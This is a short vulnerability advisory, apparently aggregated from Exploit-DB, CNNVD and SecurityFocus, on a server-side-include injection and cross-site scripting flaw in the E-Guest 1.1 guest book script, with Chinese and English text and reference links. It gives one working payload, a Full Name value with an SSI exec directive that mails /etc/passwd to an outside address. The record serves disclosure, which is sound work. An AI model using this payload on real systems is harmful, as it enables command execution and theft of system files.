https://www.exploit-db.com/exploits/21586
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-290

E-Guest1.1版本E-Guest_sign.pl存在跨站脚本攻击(XSS)漏洞。远程攻击者借助(1)fullname，(2)email，(3)homepage，和(4)location参数注入任意SSI指令。

source: http://www.securityfocus.com/bid/5129/info

E-Guest guest book is a freely available, open source guest book. It is designed for Unix and Linux operating systems.

E-Guest does not adequately sanitize user-supplied input in guest book entries. Because of this, it is possible to pass along commands via server-side includes that could allow a remote user to execute commands on the local host.

Full Name: HI<!--#exec cmd="/bin/mail [email protected] < /etc/passwd"-->

来源:BID
名称:5129
链接:http://www.securityfocus.com/bid/5129
来源:BID
名称:5128
链接:http://www.securityfocus.com/bid/5128
来源:XF
名称:eguest-ssi-command-execution(9470)
链接:http://www.iss.net/security_center/static/9470.php
来源:XF
名称:eguest-html-xss(9469)
链接:http://www.iss.net/security_center/static/9469.php
来源:BUGTRAQ
名称:20020629SSI&CSSexecutioninE-Guest;(1.1)&ZAPBook;(v1.0.3)
链接:http://archives.neohapsis.com/archives/bugtraq/2002-06/0388.html